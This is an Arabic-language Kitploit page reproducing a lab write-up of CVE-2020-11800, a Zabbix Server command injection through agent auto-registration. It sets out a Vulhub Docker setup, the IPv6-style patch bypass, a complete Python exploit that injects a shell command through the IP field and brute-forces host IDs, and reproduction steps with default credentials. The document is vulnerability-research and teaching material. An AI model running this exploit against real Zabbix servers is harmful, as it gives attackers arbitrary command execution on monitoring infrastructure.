Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-11800 — استغلال PoC لـ CVE-2020-11800، وهو حقن أوامر في خادم Zabbix عبر التسجيل التلقائي لعامل ضار، مع تسليم الحمولة المستند إلى بايثون وتخمين معرف المضيف بالقوة الغاشمة. | Kitploit
أدوات/GitHubGitHub/ycseo-git/cve-2020-11800
تحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

استغلال PoC لـ CVE-2020-11800، وهو حقن أوامر في خادم Zabbix عبر التسجيل التلقائي لعامل ضار، مع تسليم الحمولة المستند إلى بايثون وتخمين معرف المضيف بالقوة الغاشمة.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الأقسام المطلوبة وفقًا لإرشادات الواجب محددة بـ "(مطلوب)".

1. البيئة (مطلوب)

Dockerfile (مطلوب)

تستخدم هذه البيئة Dockerfile مخصصًا يعتمد على صورة خادم Zabbix الضعيفة التي يوفرها Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

يقوم Dockerfile ببناء صورة محلية باستخدام بيئة خادم Zabbix 3.0.3 الضعيفة. لم يتم إضافة أي حزم أو تكوينات إضافية أثناء عملية البناء.


docker-compose.yml (مطلوب)

تم تكوين البيئة الضعيفة باستخدام Docker Compose.

تتكون البيئة من أربع خدمات:

  • خادم Zabbix
  • وكيل Zabbix
  • واجهة Zabbix على الويب
  • قاعدة بيانات MySQL

تم بناء خدمة server محليًا باستخدام Dockerfile:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

يقوم حاوية MySQL باستيراد ملفات تهيئة SQL تلقائيًا من دليل src/ باستخدام تركيب الحجم:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

يسمح هذا بتحميل مخطط قاعدة البيانات وبيانات Zabbix الأولية تلقائيًا عند بدء تشغيل الحاوية.


هيكل الخدمات (مطلوب)

تعمل البيئة باستخدام الهيكل التالي:

root@kitploit:~
[متصفح]
    ↓
[Zabbix Web]
    ↓
[خادم Zabbix]
    ↓
[MySQL]

[وكيل] → [خادم]

Zabbix Web

يوفر واجهة الإدارة المستندة إلى الويب التي يمكن الوصول إليها من خلال المتصفح.

يقوم المسؤول بتكوين التسجيل التلقائي وتنفيذ العمليات المتعلقة بالمراقبة من خلال هذه الواجهة.

خادم Zabbix

المكوّن الأساسي المسؤول عن:

  • إدارة الوكيل
  • تنفيذ البرامج النصية
  • منطق المراقبة
  • معالجة الأحداث

يتم تشغيل ثغرة حقن الأوامر داخل هذه الحاوية.

وكيل Zabbix

يعمل كمضيف مراقب ويتواصل مع خادم Zabbix.

يستغل الاستغلال آلية التسجيل التلقائي أثناء عملية تسجيل الوكيل.

MySQL

يخزن بيانات تكوين Zabbix ومعلومات المضيف والبيانات المتعلقة بالمراقبة.


الصور والإصدارات (مطلوب)

الخدمةالصورةالإصدار
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

تعتمد البيئة على بيئة Zabbix 3.0.3 الضعيفة التي يوفرها Vulhub.

2. السبب الجذري (مطلوب)

وصف الثغرة (مطلوب)

CVE-2020-11800 هي ثغرة حقن أوامر في وظيفة Active Proxy Trapper في خادم Zabbix.

توجد الثغرة لأن التصحيح لـ CVE-2017-2824 كان غير مكتمل. يمكن للمهاجم تجاوز التصحيح الأصلي باستخدام حمولة بنمط IPv6 وتنفيذ أوامر عشوائية على خادم Zabbix.

يتم تشغيل الثغرة أثناء عملية التسجيل التلقائي عندما يعالج الخادم معلومات المضيف التي يتحكم بها المستخدم.


تحليل السبب الجذري (مطلوب)

السبب الجذري للثغرة هو المعالجة غير الآمنة للإدخال الذي يتحكم به المستخدم داخل أوامر الصدفة.

أثناء تنفيذ البرنامج النصي، يستخدم خادم Zabbix قيمة IP المضيف المسجلة لبناء أوامر مثل:

root@kitploit:~
ping <host_ip>

في الظروف العادية:

root@kitploit:~
ping 127.0.0.1

ومع ذلك، إذا قام المهاجم بتسجيل مضيف باستخدام الحمولة التالية:

root@kitploit:~
ffff:::;touch /tmp/success2

يصبح الأمر النهائي الذي تنفذه الصدفة:

root@kitploit:~
ping ffff:::;touch /tmp/success2

لأن الفاصلة المنقوطة (;) تعمل كفاصل أوامر في الصدفة، تفسر الصدفة الإدخال كأمرين منفصلين:

root@kitploit:~
ping ffff:::
touch /tmp/success2

ونتيجة لذلك، يصبح تنفيذ الأوامر العشوائية ممكنًا.

تجاوز التصحيح باستخدام IPv6

حاول التصحيح الأصلي لـ CVE-2017-2824 تقييد قيم الإدخال الضارة.

ومع ذلك، لم يعالج منطق التحقق بشكل صحيح الإدخال بنمط IPv6.

الحمولة:

root@kitploit:~
ffff:::;touch /tmp/success2

تستخدم بادئة تشبه IPv6 (ffff:::) لتجاوز منطق التحقق الحالي مع استمرار حقن أحرف الصدفة الوصفية.

يسمح هذا للمهاجمين بتجاوز التصحيح السابق ومواصلة استغلال ثغرة حقن الأوامر.


عملية تشغيل الثغرة (مطلوب)

تحدث عملية الاستغلال بالترتيب التالي:

root@kitploit:~
المهاجم
 ↓
تسجيل وكيل مزيف
 ↓
تخزين IP ضار
 ↓
تنفيذ برنامج Zabbix النصي
 ↓
بناء أمر الصدفة
 ↓
حقن الأوامر
 ↓
تنفيذ الأوامر العشوائية

يرسل المهاجم أولاً طلب تسجيل تلقائي ضار يحتوي على حقل IP معد.

بعد تسجيل المضيف، ينفذ خادم Zabbix برنامجًا نصيًا للمراقبة باستخدام قيمة IP المضيف المخزنة.

خلال هذه العملية، يتم تفسير الحمولة الضارة بواسطة الصدفة، مما يؤدي إلى تنفيذ أوامر عشوائية.


تدفق الهجوم والتأثير (مطلوب)

يسمح الاستغلال للمهاجمين بتنفيذ أوامر عشوائية بصلاحيات عملية خادم Zabbix.

في هذه البيئة، أنشأ الاستغلال الناجح الملف التالي داخل حاوية الخادم:

root@kitploit:~
/tmp/success2

يؤكد هذا أن أوامر الصدفة المحقونة تم تنفيذها بنجاح.

في بيئة حقيقية، قد يسمح الاستغلال الناجح للمهاجمين بما يلي:

  • تنفيذ أوامر نظام عشوائية
  • تنزيل وتشغيل البرامج الضارة
  • إجراء استطلاع داخلي
  • الانتقال إلى أنظمة أخرى
  • اختراق البنية التحتية للمراقبة

تعتبر الثغرة خطيرة بشكل خاص لأن خوادم المراقبة غالبًا ما تتمتع برؤية للعديد من الأنظمة الداخلية ومكونات البنية التحتية.

3. إثبات المفهوم (مطلوب)

نظرة عامة على إثبات المفهوم (مطلوب)

تم كتابة إثبات المفهوم (PoC) بلغة Python ويتواصل مباشرة مع خادم Zabbix عبر منفذ TCP 10051.

يقوم PoC بالإجراءات التالية:

  1. إرسال طلب تسجيل تلقائي ضار
  2. البحث بالقوة الغاشمة عن قيم hostid صالحة
  3. تشغيل تنفيذ البرنامج النصي باستخدام الحمولة المحقونة

كود PoC

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

تحليل الحمولة (مطلوب)

الحمولة المستخدمة في هذا PoC هي:

root@kitploit:~
ffff:::;touch /tmp/success2

هيكل الحمولة

الجزءالغرض
ffff:::بادئة تشبه IPv6 تستخدم لتجاوز التحقق
;فاصل أوامر الصدفة
touch /tmp/success2أمر عشوائي يتم تنفيذه على الخادم

تستغل الحمولة حقيقة أن الخادم يدمج قيم IP التي يتحكم بها المستخدم بشكل غير صحيح في أوامر الصدفة.

الغرض

  • تسجيل وكيل Zabbix مزيف
  • تخزين قيمة IP ضارة على الخادم
  • إعداد الهدف لحقن الأوامر

يتم تسليم الحمولة من خلال حقل ip أثناء عملية التسجيل التلقائي.


عملية تنفيذ كود PoC (مطلوب)

طلب التسجيل التلقائي

يحاول الطلب الأول الذي يرسله PoC تسجيل مضيف ضار.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

البحث بالقوة الغاشمة عن معرف المضيف

بعد التسجيل، يحاول Poc العثور على hostid صالح.

root@kitploit:~
for i in range(10000, 10500):

يتكرر PoC عبر نطاق من معرفات المضيف الممكنة ويحاول تشغيل تنفيذ البرنامج النصي.

هذه الخطوة ضرورية لأن الخادم يعين معرفات المضيف ديناميكيًا بعد التسجيل.

طلب تنفيذ البرنامج النصي

يؤدي الطلب التالي إلى تشغيل تنفيذ الأمر:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

المعلمات

المعاملالوصف
requestطلب تنفيذ البرنامج النصي
scriptidمعرف برنامج Zabbix النصي المُعد
hostidمعرف المضيف الهدف

في هذه البيئة، يتوافق scriptid:1 مع برنامج نصي متعلق بـ ping يستخدم قيمة IP المضيف أثناء تنفيذ الأمر.

تشغيل الثغرة

يقوم خادم Zabbix داخليًا ببناء أمر صدفة مشابه لـ:

root@kitploit:~
ping ffff:::;touch /tmp/success2

تفسر الصدفة هذا على النحو التالي:

root@kitploit:~
ping ffff:::
touch /tmp/success2

ونتيجة لذلك:

  • يفشل أمر ping بسبب عنوان IPv6 غير صالح
  • يتم تنفيذ أمر touch المحقون بنجاح

الإخراج المتوقع

أثناء الاستغلال الناجح، قد يظهر الإخراج التالي:

root@kitploit:~
ping: bad address 'ffff:::'

يشير هذا إلى أن الحمولة وصلت إلى مرحلة تنفيذ أمر الصدفة الضعيف.

يتم تأكيد الاستغلال الناجح عند وجود الملف التالي داخل حاوية الخادم:

root@kitploit:~
/tmp/success2

4. إعادة الإنتاج (مطلوب)

عملية تنفيذ PoC والاستغلال (مطلوب)

يتم تلخيص تدفق الاستغلال الكامل أدناه:

root@kitploit:~
بدء بيئة Docker
        ↓
الوصول إلى واجهة Zabbix على الويب
        ↓
تمكين التسجيل التلقائي
        ↓
تشغيل exploit.py
        ↓
تسجيل مضيف ضار
        ↓
تشغيل تنفيذ البرنامج النصي
        ↓
حقن الأوامر
        ↓
التحقق من /tmp/success2

خطوات تنفيذ الاستغلال الفعلية (مطلوب)

إعداد البيئة

ابدأ تشغيل البيئة الضعيفة باستخدام Docker Compose.

root@kitploit:~
docker compose up -d

تحقق من تشغيل جميع الحاويات بشكل صحيح.

root@kitploit:~
docker compose ps

يجب أن تشمل البيئة الحاويات التالية:

  • خادم Zabbix
  • وكيل Zabbix
  • Zabbix Web
  • MySQL

الوصول إلى واجهة الويب

افتح المتصفح وادخل إلى واجهة Zabbix على الويب.

root@kitploit:~
http://127.0.0.1:8080

بيانات الاعتماد الافتراضية:

root@kitploit:~
اسم المستخدم: admin
كلمة المرور: zabbix

تمكين التسجيل التلقائي

يتطلب الاستغلال تمكين ميزة التسجيل التلقائي.

انتقل إلى:

root@kitploit:~
Configuration → Actions

غيّر مصدر الحدث إلى:

root@kitploit:~
Auto registration

أنشئ إجراءً جديدًا وقم بتكوين العملية التالية:

root@kitploit:~
Operation Type: Add Host

يسمح هذا بإضافة الوكلاء المسجلين حديثًا تلقائيًا إلى الخادم.

تشغيل الاستغلال

نفذ برنامج PoC النصي.

root@kitploit:~
python3 exploit.py 127.0.0.1

يقوم PoC بإرسال طلب تسجيل تلقائي ضار ويحاول تشغيل تنفيذ الأمر باستخدام معرفات مضيف متعددة.


تحليل النتائج (مطلوب)

مثال على الإخراج

أثناء الاستغلال الناجح، قد يظهر إخراج مشابه لما يلي:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

يشير هذا إلى أن الحمولة وصلت إلى مسار تنفيذ أمر الصدفة الضعيف.

التحقق من تنفيذ الأمر

ادخل إلى حاوية خادم Zabbix.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

تحقق مما إذا كان الأمر المحقون قد أنشأ الملف الهدف.

root@kitploit:~
ls -l /tmp/success2

ينتج عن الاستغلال الناجح إخراج مشابه لـ:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

يؤكد هذا تنفيذ الأوامر العشوائية بنجاح داخل حاوية خادم Zabbix.


لقطات الشاشة (مطلوب)

تم تضمين لقطات الشاشة التالية في دليل screenshots/:

Auto Registration

PoC Execution Result

تنزيل الأداة